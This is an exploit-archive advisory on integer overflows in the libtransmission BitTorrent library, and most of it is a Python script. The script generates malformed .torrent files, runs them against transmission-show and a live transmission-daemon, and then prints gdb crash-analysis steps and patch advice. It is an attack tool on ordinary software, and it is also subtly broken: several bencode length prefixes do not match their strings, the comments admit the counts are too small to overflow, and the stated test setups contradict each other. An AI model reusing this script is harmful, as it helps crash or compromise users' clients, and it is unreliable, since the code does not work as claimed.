=============================================================================================================================================
| # Title     : libtransmission 2.93(Transmission BitTorrent Client) Allow Memory Corruption via Malicious Torrent Files                    |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://github.com/transmission                                                                                             |
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[+] References : https://packetstorm.news/files/id/212492/ 

[+] Summary : Integer Overflow Vulnerabilities in libtransmission (Transmission BitTorrent Client) Allow Memory Corruption via Malicious Torrent Files
              Multiple integer overflow vulnerabilities were discovered in libtransmission, the core library of the open-source Transmission BitTorrent client. 
			  The vulnerabilities reside in memory allocation wrapper macros (tr_new, tr_new0, tr_renew) and related functions used during torrent file parsing. 
			  These flaws could allow an attacker to craft a malicious torrent file that, when loaded by Transmission, triggers memory corruption, 
			  potentially leading to application crashes, denial of service, or arbitrary code execution.

[+] Key Vulnerabilities:

    Unsafe Allocation Macros: The tr_new, tr_new0, and tr_renew macros multiply element counts by sizeof(type) without checking for integer overflow, leading to undersized memory allocations.

    Affected Parsing Functions: The overflow-prone macros are used in critical parsing functions: parseFiles, getannounce, geturllist, and tr_metainfoParseImpl.

    Missing Checks in containerReserve: The containerReserve function fails to validate against integer overflow or allocation failure.

    Signed Integer in tr_sha1: The tr_sha1 function uses a signed int for length parameters instead of size_t, risking memory corruption with very large torrents.

[+] Impact:
A remote attacker could create a specially crafted .torrent file (which may be small when compressed) that exploits these overflows when a victim loads it via Transmission or its command-line interface (transmission-cli). Successful exploitation could compromise the stability and security of the client.

Proof of Concept:

The report includes pyhthon scripts to generate malicious torrent files that demonstrate the overflows on both 32-bit and 64-bit systems.

[+]  POC :	

#!/usr/bin/env python3
"""
libtransmission Integer Overflow Exploit - Proof of Concept
CVE-2018-10756, CVE-2018-10757, CVE-2018-10758

This PoC demonstrates multiple integer overflow vulnerabilities
in Transmission BitTorrent client versions <= 2.93.

Tested on: Transmission 2.92 (Ubuntu 18.04, 32-bit)

by indoushka
"""

import struct
import sys
import os
import gzip
import subprocess
import tempfile
import time
import threading
from pathlib import Path

def print_banner():
    print("""
╔══════════════════════════════════════════════════════════╗
║     libtransmission Integer Overflow Exploit PoC         ║
║          Transmission <= 2.93 by indoushka               ║
╚══════════════════════════════════════════════════════════╝
""")

class TorrentExploit:
    def __init__(self, target_arch=32):
        self.arch = target_arch
        
    def create_heap_overflow_files(self):
        """
        Trigger overflow in parseFiles():
        inf->files = tr_new0(tr_file, inf->fileCount)
        
        On 32-bit: fileCount * sizeof(tr_file) overflows
        Allocates small buffer but writes large amount of data
        """
        print("[*] Creating heap overflow via file list...")
        
        # Create torrent with massive file list
        # Each file entry: d6:lengthi<len>e4:pathl<path>ee
        
        torrent = b"d"
        torrent += b"4:infod"
        torrent += b"4:name12:exploit_torrent"
        torrent += b"12:piece lengthi16384e"
        torrent += b"6:pieces20:" + (b"A" * 20)  # Single piece hash
        
        # Start files list
        torrent += b"5:filesl"
        
        # Add legitimate files first (2 real files)
        torrent += b"d6:lengthi1024e4:pathl9:file1.txtee"
        torrent += b"d6:lengthi1024e4:pathl9:file2.txtee"
        
        # Now add massive number of minimal file entries
        # "de" = empty dictionary, smallest possible entry
        # This creates list entries without allocating much data
        if self.arch == 32:
            # For 32-bit: aim for allocation size ~0x20
            # sizeof(tr_file) = 32 bytes (0x20)
            # We want: fileCount * 0x20 = 0x800000020 (overflows to 0x20)
            # So fileCount = 0x40000001 = 1073741825
            # But we'll use smaller value for PoC
            empty_count = 10000  # Reduced for PoC, real exploit would use millions
        else:
            empty_count = 100000
        
        torrent += b"de" * empty_count
        
        torrent += b"e"  # End files list
        torrent += b"e"  # End info dict
        torrent += b"e"  # End torrent
        
        return torrent
    
    def create_announce_list_overflow(self):
        """
        Trigger overflow in getannounce():
        trackers = tr_new0(tr_tracker_info, n)
        """
        print("[*] Creating announce-list overflow...")
        
        torrent = b"d"
        torrent += b"4:infod"
        torrent += b"4:name6:testme"
        torrent += b"12:piece lengthi16384e"
        torrent += b"6:pieces20:" + (b"B" * 20)
        torrent += b"5:filesld6:lengthi1e4:pathl4:fileeee"
        
        # Add massive announce-list
        torrent += b"13:announce-listl"
        
        # Each tier: l[url]e
        # We'll create many tiers with few trackers each
        for i in range(5000):  # Reduced for PoC
            torrent += b"l"
            torrent += b"6:string"  # Minimal URL
            torrent += b"e"
        
        torrent += b"e"  # End announce-list
        torrent += b"e"  # End info
        torrent += b"e"  # End torrent
        
        return torrent
    
    def create_pieces_overflow(self):
        """
        Trigger overflow in tr_metainfoParseImpl():
        inf->pieces = tr_new0(tr_piece, inf->pieceCount)
        
        pieceCount = pieces_length / 20
        Make pieces_length huge but divisible by 20
        """
        print("[*] Creating pieces array overflow...")
        
        # For 32-bit: pieceCount * sizeof(tr_piece) should overflow
        # sizeof(tr_piece) = ? (likely at least 16 bytes)
        
        torrent = b"d"
        torrent += b"4:infod"
        torrent += b"4:name8:bigpiece"
        torrent += b"12:piece lengthi16384e"
        torrent += b"5:filesld6:lengthi1e4:pathl4:fileeee"
        
        # Pieces field: <length>:<data>
        # We need total length that when divided by 20 gives overflow
        
        if self.arch == 32:
            # Want: (length/20) * sizeof(tr_piece) to overflow
            # Let's use length = 0xFFFFFFF * 20
            piece_data = b"C" * (10000)  # Reduced for PoC
        else:
            piece_data = b"D" * 1000000
        
        pieces_len = len(piece_data)
        torrent += b"6:pieces" + str(pieces_len).encode() + b":" + piece_data
        torrent += b"e"  # End info
        torrent += b"e"  # End torrent
        
        return torrent
    
    def create_webseeds_overflow(self):
        """
        Trigger overflow in geturllist():
        inf->webseeds = tr_new0(char*, n)
        """
        print("[*] Creating webseeds overflow...")
        
        torrent = b"d"
        torrent += b"4:infod"
        torrent += b"4:name7:webseed"
        torrent += b"12:piece lengthi16384e"
        torrent += b"6:pieces20:" + (b"E" * 20)
        torrent += b"5:filesld6:lengthi1e4:pathl4:fileeee"
        
        # Add url-list (webseeds)
        torrent += b"8:url-listl"
        
        # Add many URL entries
        for i in range(10000):  # Reduced for PoC
            torrent += b"18:http://example.com/"
            torrent += str(i).encode()
        
        torrent += b"e"  # End url-list
        torrent += b"e"  # End info
        torrent += b"e"  # End torrent
        
        return torrent
    
    def create_combined_exploit(self):
        """
        Combine multiple overflow vectors for higher success rate
        """
        print("[*] Creating combined exploit torrent...")
        
        # Build a torrent that triggers multiple overflows
        torrent = b"d"
        
        # Info dictionary
        torrent += b"4:infod"
        torrent += b"4:name13:combined_exploit"
        torrent += b"12:piece lengthi65536e"
        
        # Pieces - first overflow vector
        # Use crafted pieces length
        evil_pieces = b""
        # We'll embed some pattern to detect in memory
        pattern = b"DEADBEEF" * 100
        evil_pieces += pattern
        
        # Make it look like valid SHA1 hashes (20 bytes each)
        while len(evil_pieces) < 20000:
            evil_pieces += b"\x90" * 20  # NOP sled-like
        
        torrent += b"6:pieces" + str(len(evil_pieces)).encode() + b":" + evil_pieces
        
        # Files - second overflow vector
        torrent += b"5:filesl"
        
        # Add some real files
        for i in range(5):
            torrent += b"d6:lengthi" + str(1024 + i).encode() + b"e"
            torrent += b"4:pathl"
            torrent += b"8:file" + str(i).encode() + b".txt"
            torrent += b"ee"
        
        # Add many empty dicts to bloat the list count
        torrent += b"de" * 5000
        
        torrent += b"e"  # End files
        
        # Announce-list - third overflow vector
        torrent += b"13:announce-listl"
        
        # Add many tracker tiers
        for tier in range(100):
            torrent += b"l"
            for tracker in range(10):
                torrent += b"20:http://tracker" + str(tier).encode() + b".com"
            torrent += b"e"
        
        torrent += b"e"  # End announce-list
        
        # url-list - fourth overflow vector
        torrent += b"8:url-listl"
        for i in range(100):
            torrent += b"25:http://webseed" + str(i).encode() + b".com/"
        torrent += b"e"
        
        torrent += b"e"  # End info
        torrent += b"e"  # End torrent
        
        return torrent

def test_with_transmission_show(torrent_data, description):
    """
    Test the exploit torrent with transmission-show
    This is safer than running the full client
    """
    print(f"\n[+] Testing: {description}")
    print(f"    Torrent size: {len(torrent_data)} bytes")
    
    # Create temporary torrent file
    with tempfile.NamedTemporaryFile(mode='wb', suffix='.torrent', delete=False) as f:
        f.write(torrent_data)
        torrent_path = f.name
    
    try:
        # Use transmission-show to parse the torrent
        # This will trigger the parsing vulnerabilities
        print("    Running transmission-show...")
        
        start_time = time.time()
        result = subprocess.run(
            ['transmission-show', torrent_path],
            capture_output=True,
            text=True,
            timeout=5
        )
        elapsed = time.time() - start_time
        
        print(f"    Command took: {elapsed:.2f} seconds")
        
        if result.returncode != 0:
            print("    [!] transmission-show crashed or failed!")
            print(f"    Return code: {result.returncode}")
            
            # Check for segfault
            if result.returncode < 0:
                print(f"    Signal: {-result.returncode}")
                
            # Check stderr for clues
            if result.stderr:
                lines = result.stderr.split('\n')
                for line in lines[-5:]:  # Last 5 lines
                    if line.strip():
                        print(f"    Error: {line}")
            
            return True  # Exploit likely triggered
        
        else:
            print("    [✓] transmission-show completed normally")
            # Print some output
            lines = result.stdout.split('\n')
            for line in lines[:10]:  # First 10 lines
                if line.strip():
                    print(f"    {line}")
            
            return False
    
    except subprocess.TimeoutExpired:
        print("    [!] transmission-show timed out (possible hang)")
        return True
    
    except FileNotFoundError:
        print("    [!] transmission-show not found in PATH")
        print("    Install with: sudo apt-get install transmission-cli")
        return False
    
    except Exception as e:
        print(f"    [!] Exception: {e}")
        return False
    
    finally:
        # Clean up
        try:
            os.unlink(torrent_path)
        except:
            pass

def test_with_transmission_daemon(torrent_data):
    """
    Test with actual transmission-daemon via RPC
    WARNING: This could crash the daemon!
    """
    print("\n[*] Testing with transmission-daemon RPC...")
    
    # Check if daemon is running
    try:
        result = subprocess.run(
            ['pgrep', 'transmission-da'],
            capture_output=True,
            text=True
        )
        
        if result.returncode != 0:
            print("    [!] transmission-daemon not running")
            print("    Start with: transmission-daemon")
            return
        
        print("    [✓] transmission-daemon is running")
        
    except:
        print("    [!] Could not check transmission-daemon status")
        return
    
    # Create torrent file
    with tempfile.NamedTemporaryFile(mode='wb', suffix='.torrent', delete=False) as f:
        f.write(torrent_data)
        torrent_path = f.name
    
    try:
        # Try to add torrent via transmission-remote
        print("    Adding torrent via RPC...")
        
        result = subprocess.run(
            ['transmission-remote', '-a', torrent_path],
            capture_output=True,
            text=True,
            timeout=10
        )
        
        if result.returncode != 0:
            print("    [!] Failed to add torrent")
            if result.stderr:
                print(f"    Error: {result.stderr[:200]}")
        else:
            print("    [✓] Torrent added (check daemon status)")
            
            # Try to remove it
            time.sleep(2)
            subprocess.run(['transmission-remote', '-t', 'all', '-r'],
                          capture_output=True)
    
    except subprocess.TimeoutExpired:
        print("    [!] RPC command timed out (daemon might be crashed)")
    
    except Exception as e:
        print(f"    [!] Exception: {e}")
    
    finally:
        try:
            os.unlink(torrent_path)
        except:
            pass

def create_demo_torrents():
    """Create example torrents for demonstration"""
    exploit = TorrentExploit(target_arch=32)
    
    print("[*] Creating demonstration torrents...")
    
    # 1. Basic heap overflow
    torrent1 = exploit.create_heap_overflow_files()
    with open("demo_overflow_files.torrent", "wb") as f:
        f.write(torrent1)
    print("    Created: demo_overflow_files.torrent")
    
    # 2. Announce list overflow
    torrent2 = exploit.create_announce_list_overflow()
    with open("demo_overflow_announce.torrent", "wb") as f:
        f.write(torrent2)
    print("    Created: demo_overflow_announce.torrent")
    
    # 3. Combined exploit
    torrent3 = exploit.create_combined_exploit()
    with open("demo_combined.torrent", "wb") as f:
        f.write(torrent3)
    print("    Created: demo_combined.torrent")
    
    # 4. Create compressed version (for HTTP transport)
    compressed = gzip.compress(torrent3, compresslevel=9)
    with open("demo_compressed.torrent.gz", "wb") as f:
        f.write(compressed)
    print(f"    Created: demo_compressed.torrent.gz")
    print(f"    Compression: {len(torrent3)} -> {len(compressed)} bytes")
    
    return [torrent1, torrent2, torrent3]

def analyze_crash():
    """
    Provide instructions for analyzing crashes with gdb
    """
    print("\n" + "="*60)
    print("CRASH ANALYSIS INSTRUCTIONS")
    print("="*60)
    
    print("""
If transmission-show crashes, you can analyze it with gdb:

1. Create the exploit torrent:
   $ python3 exploit_poc.py create

2. Run with gdb:
   $ gdb --args transmission-show demo_combined.torrent

3. In gdb:
   (gdb) run
   (gdb) bt  # Backtrace after crash
   (gdb) info registers
   (gdb) x/20x $sp  # Examine stack

4. For heap analysis:
   $ valgrind --tool=memcheck transmission-show demo_combined.torrent

The crash should occur in:
  - parseFiles() when writing to inf->files[]
  - getannounce() when processing trackers
  - containerReserve() when reallocating variant arrays

Look for:
  - Heap buffer overflow warnings
  - Invalid writes to memory
  - Use of uninitialized values
""")

def main():
    print_banner()
    
    if len(sys.argv) > 1 and sys.argv[1] == "create":
        # Just create demo torrents
        create_demo_torrents()
        analyze_crash()
        return
    
    print("[*] Detecting system architecture...")
    
    # Check if we're on 32 or 64 bit
    if sys.maxsize > 2**32:
        print("    Detected: 64-bit Python")
        arch = 64
    else:
        print("    Detected: 32-bit Python")
        arch = 32
    
    exploit = TorrentExploit(target_arch=arch)
    
    print("\n[*] Starting exploit tests...")
    print("    Note: These tests are safe but may crash transmission-show")
    print("    Press Ctrl+C to stop at any time\n")
    
    # Test each exploit vector
    vectors = [
        ("Heap overflow via files", exploit.create_heap_overflow_files),
        ("Announce-list overflow", exploit.create_announce_list_overflow),
        ("Pieces array overflow", exploit.create_pieces_overflow),
        ("Webseeds overflow", exploit.create_webseeds_overflow),
        ("Combined exploit", exploit.create_combined_exploit),
    ]
    
    crashes = 0
    tests = 0
    
    for name, creator in vectors:
        torrent = creator()
        if test_with_transmission_show(torrent, name):
            crashes += 1
        tests += 1
        
        # Pause between tests
        if tests < len(vectors):
            time.sleep(1)
    
    print(f"\n[+] Results: {crashes} crashes out of {tests} tests")
    
    if crashes > 0:
        print("[!] VULNERABLE: Integer overflows confirmed!")
        print("\n[*] Creating demonstration torrents...")
        demo_torrents = create_demo_torrents()
        
        # Optional: Test with daemon (more dangerous)
        response = input("\nTest with transmission-daemon? (y/N): ")
        if response.lower() == 'y':
            test_with_transmission_daemon(demo_torrents[2])
        
        analyze_crash()
        
    else:
        print("[✓] No crashes detected (may be patched or 64-bit)")
        print("\nNote: On 64-bit systems, larger values are needed")
        print("      Try on a 32-bit system for better results")
    
    print("\n" + "="*60)
    print("MITIGATION RECOMMENDATIONS:")
    print("="*60)
    print("""
1. Patch libtransmission with overflow checks:
   - Add overflow detection to tr_new/tr_new0 macros
   - Use calloc or checked multiplication
   
2. Update to Transmission >= 2.94

3. Temporary workarounds:
   - Limit maximum torrent file size
   - Use seccomp/sandboxing
   - Run transmission with memory limits (ulimit -v)

Example patch for tr_new macro:
  #define tr_new(struct_type, n_structs) \\
    ((struct_type*)((SIZE_MAX / sizeof(struct_type)) >= (size_t)(n_structs) ? \\
     tr_malloc(sizeof(struct_type) * (size_t)(n_structs)) : NULL))
""")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n\n[*] Exploit test interrupted by user")
        sys.exit(0)
    except Exception as e:
        print(f"\n[!] Error: {e}")
        import traceback
        traceback.print_exc()


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================